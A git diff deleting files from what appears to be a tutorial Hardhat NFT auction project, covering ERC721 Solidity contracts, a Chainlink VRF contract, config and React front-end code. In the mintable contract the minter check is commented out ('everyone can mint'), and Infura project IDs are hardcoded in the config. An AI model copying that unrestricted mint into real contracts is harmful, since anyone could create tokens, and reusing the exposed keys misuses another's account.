-     * @param from address representing the previous owner of the given token ID
-     * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
-     */
-    function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
-        // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
-        // then delete the last slot (swap and pop).
-
-        uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
-        uint256 tokenIndex = _ownedTokensIndex[tokenId];
-
-        // When the token to delete is the last token, the swap operation is unnecessary
-        if (tokenIndex != lastTokenIndex) {
-            uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
-
-            _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
-            _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
-        }
-
-        // This also deletes the contents at the last position of the array
-        _ownedTokens[from].length--;
-
-        // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
-        // lastTokenId, or just over the end of the array if the token was the last one).
-    }
-
-    /**
-     * @dev Private function to remove a token from this extension's token tracking data structures.
-     * This has O(1) time complexity, but alters the order of the _allTokens array.
-     * @param tokenId uint256 ID of the token to be removed from the tokens list
-     */
-    function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
-        // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
-        // then delete the last slot (swap and pop).
-
-        uint256 lastTokenIndex = _allTokens.length.sub(1);
-        uint256 tokenIndex = _allTokensIndex[tokenId];
-
-        // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
-        // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
-        // an 'if' statement (like in _removeTokenFromOwnerEnumeration)
-        uint256 lastTokenId = _allTokens[lastTokenIndex];
-
-        _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
-        _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
-
-        // This also deletes the contents at the last position of the array
-        _allTokens.length--;
-        _allTokensIndex[tokenId] = 0;
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Holder.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Holder.sol
deleted file mode 100644
index 5ab4418d2..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Holder.sol
+++ /dev/null
@@ -1,9 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./IERC721Receiver.sol";
-
-contract ERC721Holder is IERC721Receiver {
-    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
-        return this.onERC721Received.selector;
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Metadata.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Metadata.sol
deleted file mode 100644
index 3d4b76884..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Metadata.sol
+++ /dev/null
@@ -1,101 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./ERC721.sol";
-import "./ERC165.sol";
-import "./IERC721.sol";
-
-/**
- * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
- * @dev See https://eips.ethereum.org/EIPS/eip-721
- */
-contract IERC721Metadata is IERC721 {
-    function name() external view returns (string memory);
-    function symbol() external view returns (string memory);
-    function tokenURI(uint256 tokenId) external view returns (string memory);
-}
-
-
-
-contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
-    // Token name
-    string private _name;
-
-    // Token symbol
-    string private _symbol;
-
-    // Optional mapping for token URIs
-    mapping(uint256 => string) private _tokenURIs;
-
-    /*
-     *     bytes4(keccak256('name()')) == 0x06fdde03
-     *     bytes4(keccak256('symbol()')) == 0x95d89b41
-     *     bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
-     *
-     *     => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
-     */
-    bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
-
-    /**
-     * @dev Constructor function
-     */
-    constructor (string memory name, string memory symbol) public {
-        _name = name;
-        _symbol = symbol;
-
-        // register the supported interfaces to conform to ERC721 via ERC165
-        _registerInterface(_INTERFACE_ID_ERC721_METADATA);
-    }
-
-    /**
-     * @dev Gets the token name.
-     * @return string representing the token name
-     */
-    function name() external view returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @dev Gets the token symbol.
-     * @return string representing the token symbol
-     */
-    function symbol() external view returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @dev Returns an URI for a given token ID.
-     * Throws if the token ID does not exist. May return an empty string.
-     * @param tokenId uint256 ID of the token to query
-     */
-    function tokenURI(uint256 tokenId) external view returns (string memory) {
-        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
-        return _tokenURIs[tokenId];
-    }
-
-    /**
-     * @dev Internal function to set the token URI for a given token.
-     * Reverts if the token ID does not exist.
-     * @param tokenId uint256 ID of the token to set its URI
-     * @param uri string URI to assign
-     */
-    function _setTokenURI(uint256 tokenId, string memory uri) internal {
-        require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
-        _tokenURIs[tokenId] = uri;
-    }
-
-    /**
-     * @dev Internal function to burn a specific token.
-     * Reverts if the token does not exist.
-     * Deprecated, use _burn(uint256) instead.
-     * @param owner owner of the token to burn
-     * @param tokenId uint256 ID of the token being burned by the msg.sender
-     */
-    function _burn(address owner, uint256 tokenId) internal {
-        super._burn(owner, tokenId);
-
-        // Clear metadata (if any)
-        if (bytes(_tokenURIs[tokenId]).length != 0) {
-            delete _tokenURIs[tokenId];
-        }
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721MetadataMintable.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721MetadataMintable.sol
deleted file mode 100644
index f626de573..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721MetadataMintable.sol
+++ /dev/null
@@ -1,74 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./ERC721Metadata.sol";
-import "./Roles.sol";
-
-//contract MinterRole {
-//    using Roles for Roles.Role;
-//
-//    event MinterAdded(address indexed account);
-//    event MinterRemoved(address indexed account);
-//
-//    Roles.Role private _minters;
-//
-//    constructor () internal {
-//        _addMinter(msg.sender);
-//    }
-//
-//    modifier onlyMinter() {
-//        require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
-//        _;
-//    }
-//
-//    function isMinter(address account) public view returns (bool) {
-//        return _minters.has(account);
-//    }
-//
-//    function addMinter(address account) public onlyMinter {
-//        _addMinter(account);
-//    }
-//
-//    function renounceMinter() public {
-//        _removeMinter(msg.sender);
-//    }
-//
-//    function _addMinter(address account) internal {
-//        _minters.add(account);
-//        emit MinterAdded(account);
-//    }
-//
-//    function _removeMinter(address account) internal {
-//        _minters.remove(account);
-//        emit MinterRemoved(account);
-//    }
-//}
-/**
- * @title ERC721MetadataMintable
- * @dev ERC721 minting logic with metadata.
- */
-contract ERC721MetadataMintable is  ERC721, ERC721Metadata {
-    /**
-     * @dev Function to mint tokens.
-     * @param to The address that will receive the minted tokens.
-     * @param tokenId The token id to mint.
-     * @param tokenURI The token URI of the minted token.
-     * @return A boolean that indicates if the operation was successful.
-     */
-    //!!! everyone can mint
-//    function mintWithTokenURI(address to, uint256 tokenId, string memory tokenURI) public onlyMinter returns (bool) {
-//        _mint(to, tokenId);
-//        _setTokenURI(tokenId, tokenURI);
-//        return true;
-//    }
-    Counters.Counter private _tokenIdTracker;
-
-    function mintWithTokenURI(address to, string memory tokenURI) public  returns (bool) {
-        _mint(to, _tokenIdTracker.current());
-        _setTokenURI(_tokenIdTracker.current(), tokenURI);
-        _tokenIdTracker.increment();
-        return true;
-    }
-    
-
-
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Pausable.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Pausable.sol
deleted file mode 100644
index 650845662..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Pausable.sol
+++ /dev/null
@@ -1,119 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./ERC721.sol";
-import "./Roles.sol";
-
-
-contract PauserRole {
-    using Roles for Roles.Role;
-
-    event PauserAdded(address indexed account);
-    event PauserRemoved(address indexed account);
-
-    Roles.Role private _pausers;
-
-    constructor () internal {
-        _addPauser(msg.sender);
-    }
-
-    modifier onlyPauser() {
-        require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
-        _;
-    }
-
-    function isPauser(address account) public view returns (bool) {
-        return _pausers.has(account);
-    }
-
-    function addPauser(address account) public onlyPauser {
-        _addPauser(account);
-    }
-
-    function renouncePauser() public {
-        _removePauser(msg.sender);
-    }
-
-    function _addPauser(address account) internal {
-        _pausers.add(account);
-        emit PauserAdded(account);
-    }
-
-    function _removePauser(address account) internal {
-        _pausers.remove(account);
-        emit PauserRemoved(account);
-    }
-}
-
-
-/**
- * @title Pausable
- * @dev Base contract which allows children to implement an emergency stop mechanism.
- */
-contract Pausable is PauserRole {
-    event Paused(address account);
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    constructor () internal {
-        _paused = false;
-    }
-
-    /**
-     * @return True if the contract is paused, false otherwise.
-     */
-    function paused() public view returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     */
-    modifier whenNotPaused() {
-        require(!_paused, "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     */
-    modifier whenPaused() {
-        require(_paused, "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Called by a pauser to pause, triggers stopped state.
-     */
-    function pause() public onlyPauser whenNotPaused {
-        _paused = true;
-        emit Paused(msg.sender);
-    }
-
-    /**
-     * @dev Called by a pauser to unpause, returns to normal state.
-     */
-    function unpause() public onlyPauser whenPaused {
-        _paused = false;
-        emit Unpaused(msg.sender);
-    }
-}
-
-
-/**
- * @title ERC721 Non-Fungible Pausable token
- * @dev ERC721 modified with pausable transfers.
- */
-contract ERC721Pausable is ERC721, Pausable {
-    function approve(address to, uint256 tokenId) public whenNotPaused {
-        super.approve(to, tokenId);
-    }
-
-    function setApprovalForAll(address to, bool approved) public whenNotPaused {
-        super.setApprovalForAll(to, approved);
-    }
-
-    function transferFrom(address from, address to, uint256 tokenId) public whenNotPaused {
-        super.transferFrom(from, to, tokenId);
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC165.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC165.sol
deleted file mode 100644
index b094977b6..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC165.sol
+++ /dev/null
@@ -1,13 +0,0 @@
-pragma solidity ^0.4.25;
-
-interface IERC165 {
-    /**
-     * @dev Returns true if this contract implements the interface defined by
-     * `interfaceId`. See the corresponding
-     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
-     * to learn more about how these ids are created.
-     *
-     * This function call must use less than 30 000 gas.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool);
-}
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Enumerable.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Enumerable.sol
deleted file mode 100644
index 9d659c85b..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Enumerable.sol
+++ /dev/null
@@ -1,14 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./IERC721.sol";
-
-/**
- * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
- * @dev See https://eips.ethereum.org/EIPS/eip-721
- */
-contract IERC721Enumerable is IERC721 {
-    function totalSupply() public view returns (uint256);
-    function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
-
-    function tokenByIndex(uint256 index) public view returns (uint256);
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Metadata.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Metadata.sol
deleted file mode 100644
index 0e07c46e4..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IERC721Metadata.sol
+++ /dev/null
@@ -1,13 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./IERC721.sol";
-
-/**
- * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
- * @dev See https://eips.ethereum.org/EIPS/eip-721
- */
-contract IERC721Metadata is IERC721 {
-    function name() external view returns (string memory);
-    function symbol() external view returns (string memory);
-    function tokenURI(uint256 tokenId) external view returns (string memory);
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IMyERC721.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IMyERC721.sol
deleted file mode 100644
index 502e3fbea..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/IMyERC721.sol
+++ /dev/null
@@ -1,11 +0,0 @@
-pragma solidity ^0.4.25;
-import "./IERC721Enumerable.sol";
-import "./IERC721Metadata.sol";
-
-/**
- * @title ERC721 Non-Fungible Token Standard basic interface
- * @dev see https://eips.ethereum.org/EIPS/eip-721
- */
-contract IMyERC721 is IERC721Enumerable, IERC721Metadata {
-    function mintWithTokenURI(address to, string memory tokenURI) public  returns (bool);
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/MYERC721.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/MYERC721.sol
deleted file mode 100644
index 12d42fe7d..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/MYERC721.sol
+++ /dev/null
@@ -1,15 +0,0 @@
-
-pragma solidity ^0.4.25;
-
-import "./ERC721Enumerable.sol";
-import "./ERC721Pausable.sol";
-import "./ERC721Burnable.sol";
-import "./ERC721MetadataMintable.sol";
-import "./ERC721Holder.sol";
-
-contract MYERC721 is ERC721MetadataMintable,ERC721Enumerable, ERC721Burnable,ERC721Pausable,ERC721Holder {
-    constructor(string _name, string _symbol) public ERC721Metadata(_name, _symbol)
-    {
-    }
-    
-}
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/Roles.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/Roles.sol
deleted file mode 100644
index a59e35e53..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/Roles.sol
+++ /dev/null
@@ -1,32 +0,0 @@
-pragma solidity ^0.4.25;
-
-library Roles {
-    struct Role {
-        mapping (address => bool) bearer;
-    }
-
-    /**
-     * @dev Give an account access to this role.
-     */
-    function add(Role storage role, address account) internal {
-        require(!has(role, account), "Roles: account already has role");
-        role.bearer[account] = true;
-    }
-
-    /**
-     * @dev Remove an account's access to this role.
-     */
-    function remove(Role storage role, address account) internal {
-        require(has(role, account), "Roles: account does not have role");
-        role.bearer[account] = false;
-    }
-
-    /**
-     * @dev Check if an account has this role.
-     * @return bool
-     */
-    function has(Role storage role, address account) internal view returns (bool) {
-        require(account != address(0), "Roles: account is the zero address");
-        return role.bearer[account];
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/contracts/RandomNumberVRF.sol b/Example16-hardhat-auction-exchange/contracts/RandomNumberVRF.sol
deleted file mode 100644
index c630b1e31..000000000
--- a/Example16-hardhat-auction-exchange/contracts/RandomNumberVRF.sol
+++ /dev/null
@@ -1,67 +0,0 @@
-pragma solidity ^0.6.6;
-
-import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
-
-contract RandomNumberVRF is VRFConsumerBase {
-
-    bytes32 internal keyHash;
-    uint256 internal fee;
-    uint256 public randomResult;
-    address public VRFCoordinator;
-    // rinkeby: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B
-    address public LinkToken;
-    // rinkeby: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709a
-
-
-    mapping(bytes32=>uint256) private resultMap;
-    mapping(bytes32=>bool) private validIds;
-
-    /**
-       * Constructor inherits VRFConsumerBase
-       *
-       * Network: kovan
-       * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9
-       * LINK token address:                0xa36085F69e2889c224210F603D836748e7dC0088
-       * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4
-       */
-    constructor(address _VRFCoordinator, address _LinkToken, bytes32 _keyhash)
-    public
-    VRFConsumerBase(_VRFCoordinator, _LinkToken)
-    {
-        VRFCoordinator = _VRFCoordinator;
-        LinkToken = _LinkToken;
-        keyHash = _keyhash;
-        fee = 0.1 * 10**18; // 0.1 LINK
-    }
-
-    function requestRandomNumber(uint256 userProvidedSeed) public returns (bytes32) {
-        require(
-            LINK.balanceOf(address(this)) >= fee,
-            "Not enough LINK - fill contract with faucet"
-        );
-        bytes32 requestId = requestRandomness(keyHash, fee, userProvidedSeed);
-        validIds[requestId] = true;
-        return requestId;
-    }
-
-    function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override
-    {
-        require(validIds[requestId], "id must be not used!") ;
-        randomResult = randomNumber;
-        resultMap[requestId]=  randomResult;
-        delete validIds[requestId];
-    }
-
-    function get()  public view  returns(uint256){
-        return randomResult;
-    }
-
-    function getById(bytes32 id)  public view  returns(uint256){
-        return resultMap[id];
-    }
-
-    function checkIdFulfilled(bytes32 id)  public view  returns(bool){
-        return validIds[id];
-    }
-
-}
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/IERC165.sol b/Example16-hardhat-auction-exchange/contracts/erc-token/IERC165.sol
deleted file mode 100644
index 01c9c0864..000000000
--- a/Example16-hardhat-auction-exchange/contracts/erc-token/IERC165.sol
+++ /dev/null
@@ -1,24 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.8.0;
-
-/**
- * @dev Interface of the ERC165 standard, as defined in the
- * https://eips.ethereum.org/EIPS/eip-165[EIP].
- *
- * Implementers can declare support of contract interfaces, which can then be
- * queried by others ({ERC165Checker}).
- *
- * For an implementation, see {ERC165}.
- */
-interface IERC165 {
-    /**
-     * @dev Returns true if this contract implements the interface defined by
-     * `interfaceId`. See the corresponding
-     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
-     * to learn more about how these ids are created.
-     *
-     * This function call must use less than 30 000 gas.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool);
-}
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/MYERC721.sol b/Example16-hardhat-auction-exchange/contracts/erc-token/MYERC721.sol
deleted file mode 100644
index c390d6bfb..000000000
--- a/Example16-hardhat-auction-exchange/contracts/erc-token/MYERC721.sol
+++ /dev/null
@@ -1,11 +0,0 @@
-
-pragma solidity ^0.8.0;
-
-import "./ERC721PresetMinterPauserAutoId.sol";
-
-contract MYERC721 is ERC721PresetMinterPauserAutoId {
-    constructor(string memory _name, string memory _symbol, string memory _baseTokenURI) public ERC721PresetMinterPauserAutoId(_name, _symbol,_baseTokenURI)
-    {
-    }
-    
-}
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/hardhat.config.js b/Example16-hardhat-auction-exchange/hardhat.config.js
deleted file mode 100644
index 294d46bf8..000000000
--- a/Example16-hardhat-auction-exchange/hardhat.config.js
+++ /dev/null
@@ -1,95 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-//todo import typechain
-//require("hardhat-typechain");
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-function mnemonic() {
-
-  return fs.readFileSync("./sk.txt").toString().trim();
-
-}
-
-function mnemonicAlice() {
-
-  return fs.readFileSync("./sk-alice.txt").toString().trim();
-
-}
-
-function mnemonicBob() {
-
-  return fs.readFileSync("./sk-bob.txt").toString().trim();
-
-}
-
-function mnemonicTest() {
-
-  return fs.readFileSync("./sk-test.txt").toString().trim();
-
-}
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: {
-    compilers: [
-      {
-        version: "0.8.3"
-      },
-      {
-        version: "0.6.6",
-        settings: {}
-      }
-    ]
-  },
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/3f8471cb133047efa90cb89936e9f8bb", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/3f8471cb133047efa90cb89936e9f8bb", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic(),
-        mnemonicAlice(),
-        mnemonicBob(),
-        mnemonicTest()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/3f8471cb133047efa90cb89936e9f8bb", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/3f8471cb133047efa90cb89936e9f8bb", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
-
diff --git a/Example16-hardhat-auction-exchange/package.json b/Example16-hardhat-auction-exchange/package.json
deleted file mode 100644
index 6a6c032d5..000000000
--- a/Example16-hardhat-auction-exchange/package.json
+++ /dev/null
@@ -1,16 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@chainlink/contracts": "0.1.7",
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.2.0",
-    "hardhat": "^2.3.0"
-  },
-  "dependencies": {
-    "ipfs-api": "^26.1.2",
-    "ramda": "^0.27.1"
-  }
-}
diff --git a/Example16-hardhat-auction-exchange/react-app/.sample.env b/Example16-hardhat-auction-exchange/react-app/.sample.env
deleted file mode 100644
index f7c8fd362..000000000
--- a/Example16-hardhat-auction-exchange/react-app/.sample.env
+++ /dev/null
@@ -1 +0,0 @@
-REACT_APP_PROVIDER=https://rinkeby.infura.io/v3/2717afb6bf164045b5d5468031b93f87
diff --git a/Example16-hardhat-auction-exchange/react-app/App_backup.jsx b/Example16-hardhat-auction-exchange/react-app/App_backup.jsx
deleted file mode 100644
index 563b6f033..000000000
--- a/Example16-hardhat-auction-exchange/react-app/App_backup.jsx
+++ /dev/null
@@ -1,917 +0,0 @@
-import React, { useCallback, useEffect, useState } from "react";
-import { BrowserRouter, Switch, Route, Link } from "react-router-dom";
-import "antd/dist/antd.css";
-import {  LinkOutlined } from "@ant-design/icons"
-import {  StaticJsonRpcProvider, JsonRpcProvider, Web3Provider } from "@ethersproject/providers";
-import "./App.css";
-import {Row, Col, Button, Menu, Alert, Input, List, Card, Switch as SwitchD, Modal, InputNumber, Tooltip, Radio} from "antd";
-import Web3Modal from "web3modal";
-import WalletConnectProvider from "@walletconnect/web3-provider";
-import { useUserAddress } from "eth-hooks";
-import { format } from "date-fns";
-import { Header, Account, Faucet, Ramp, Contract, GasGauge, Address, AddressInput, ConnectWallet,ThemeSwitch,NoWalletDetected,NetworkErrorMessage } from "./components";
-import { useExchangePrice, useGasPrice, useUserProvider, useContractLoader, useContractReader, useEventListener, useBalance, useExternalContractLoader, useOnBlock } from "./hooks";
-import { Transactor } from "./helpers";
-import { formatEther, parseEther } from "@ethersproject/units";
-import { utils, constants } from "ethers";
-import { useThemeSwitcher } from "react-css-theme-switcher";
-import { INFURA_ID, DAI_ADDRESS, DAI_ABI, NETWORK, NETWORKS } from "./constants";
-import { ethers } from "ethers";
-import { parseUnits } from "@ethersproject/units";
-import { hexlify } from "@ethersproject/bytes";
-import StackGrid from "react-stack-grid";
-import ReactJson from 'react-json-view'
-import assets from './assets.js'
-import assetsAuctionStat from './assetsAuctionStat.js'
-
-const { BufferList } = require('bl')
-// https://www.npmjs.com/package/ipfs-http-client
-const ipfsAPI = require('ipfs-http-client');
-const ipfs = ipfsAPI({host: 'localhost', port: '5001', protocol: 'http' })
-
-console.log("📦 Assets:========== ", assets)
-
-const assetsInitAuctionStat = {}
-  for(let a in assetsAuctionStat){
-    assetsInitAuctionStat[assetsAuctionStat[a]] = {}
-    assetsInitAuctionStat[assetsAuctionStat[a]].forSale = true
-    assetsInitAuctionStat[assetsAuctionStat[a]].forAuction = false
-    assetsInitAuctionStat[assetsAuctionStat[a]].assetAuctionType = "1"
-  }
-
-console.log("Hello , I'm  assetsInitAuctionStat")
-/*
-    Welcome to 🏗 scaffold-eth !
-
-    Code:
-    https://github.com/austintgriffith/scaffold-eth
-
-    Support:
-    https://t.me/joinchat/KByvmRe5wkR-8F_zz6AjpA
-    or DM @austingriffith on twitter or telegram
-
-    You should get your own Infura.io ID and put it in `constants.js`
-    (this is your connection to the main Ethereum network for ENS etc.)
-
-
-    🌏 EXTERNAL CONTRACTS:
-    You can also bring in contract artifacts in `constants.js`
-    (and then use the `useExternalContractLoader()` hook!)
-*/
-
-
-/// 📡 What chain are your contracts deployed to?
-const targetNetwork = NETWORKS['localhost']; // <------- select your target frontend network (localhost, rinkeby, xdai, mainnet)
-
-// 😬 Sorry for all the console logging
-const DEBUG = true
-
-//EXAMPLE STARTING JSON:
-const STARTING_JSON = {
-  "description": "It's actually a bison?",
-  "external_url": "https://austingriffith.com/portfolio/paintings/",// <-- this can link to a page for the specific file too
-  "image": "https://austingriffith.com/images/paintings/buffalo.jpg",
-  "name": "Buffalo",
-  "attributes": [
-     {
-       "trait_type": "BackgroundColor",
-       "value": "green"
-     },
-     {
-       "trait_type": "Eyes",
-       "value": "googly"
-     }
-  ]
-}
-
-
-const HARDHAT_NETWORK_ID = '31337';
-
-const WalletCheck = {
-  walletExist: false,
-  selectedAddress: undefined
-}
-
-
-//helper function to "Get" from IPFS
-// you usually go content.toString() after this...
-const getFromIPFS = async hashToGet => {
-  for await (const file of ipfs.get(hashToGet)) {
-    console.log(file.path)
-    if (!file.content) continue;
-    const content = new BufferList()
-    for await (const chunk of file.content) {
-      content.append(chunk)
-    }
-    console.log(content)
-    return content
-  }
-}
-
-// 🛰 providers
-if(DEBUG) console.log("📡 Connecting to Mainnet Ethereum");
-// const mainnetProvider = getDefaultProvider("mainnet", { infura: INFURA_ID, etherscan: ETHERSCAN_KEY, quorum: 1 });
-// const mainnetProvider = new InfuraProvider("mainnet",INFURA_ID);
-//
-// attempt to connect to our own scaffold eth rpc and if that fails fall back to infura...
-// Using StaticJsonRpcProvider as the chainId won't change see https://github.com/ethers-io/ethers.js/issues/901
-const scaffoldEthProvider = new StaticJsonRpcProvider("https://rpc.scaffoldeth.io:48544")
-const mainnetInfura = new StaticJsonRpcProvider("https://mainnet.infura.io/v3/" + INFURA_ID)
-// ( ⚠️ Getting "failed to meet quorum" errors? Check your INFURA_I
-
-// 🏠 Your local provider is usually pointed at your local blockchain
-const localProviderUrl = targetNetwork.rpcUrl;
-// as you deploy to other networks you can set REACT_APP_PROVIDER=https://dai.poa.network in packages/react-app/.env
-const localProviderUrlFromEnv = process.env.REACT_APP_PROVIDER ? process.env.REACT_APP_PROVIDER : localProviderUrl;
-if(DEBUG) console.log("🏠 Connecting to provider:", localProviderUrlFromEnv);
-const localProvider = new StaticJsonRpcProvider(localProviderUrl);
-
-
-// 🔭 block explorer URL
-const blockExplorer = targetNetwork.blockExplorer;
-
-function App (props) {
-
-  const windowEthereum = window.ethereum
-
-  if (windowEthereum) {
-    WalletCheck.walletExist = true
-  }
-
-  const mainnetProvider = (scaffoldEthProvider && scaffoldEthProvider._network) ? scaffoldEthProvider : mainnetInfura
-
-  //const _provider = new ethers.providers.Web3Provider(window.ethereum)
-  const [injectedProvider, setInjectedProvider] = useState();
-
-  /* 💵 This hook will get the price of ETH from 🦄 Uniswap: */
-  const price = useExchangePrice(targetNetwork, mainnetProvider);
-
-  /* 🔥 This hook will get the price of Gas from ⛽️ EtherGasStation */
-  const gasPrice = useGasPrice(targetNetwork, "fast");
-  // Use your injected provider from 🦊 Metamask or if you don't have it then instantly generate a 🔥 burner wallet.
-  const userProvider = useUserProvider(injectedProvider, localProvider);
-  const address = useUserAddress(userProvider);
-
-  // You can warn the user if you would like them to be on a specific network
-  let localChainId = localProvider && localProvider._network && localProvider._network.chainId
-  let selectedChainId = userProvider && userProvider._network && userProvider._network.chainId
-  console.log("user provider network", userProvider._network)
-
-  // For more hooks, check out 🔗eth-hooks at: https://www.npmjs.com/package/eth-hooks
-
-  // The transactor wraps transacti ons and provides notificiations
-  const tx = Transactor(userProvider, gasPrice)
-
-  // Faucet Tx can be used to send funds from the faucet
-  const faucetTx = Transactor(localProvider, gasPrice)
-
-  // Load in your local 📝 contract and read a value from it:
-  const readContracts = useContractLoader(localProvider)
-
-  // If you want to make 🔐 write transactions to your contracts, use the userProvider:
-  const writeContracts = useContractLoader(userProvider)
-
-  // 🏗 scaffold-eth is full of handy hooks like this one to get your balance:
-  const yourLocalBalance = useBalance(readContracts, address, localProvider);
-
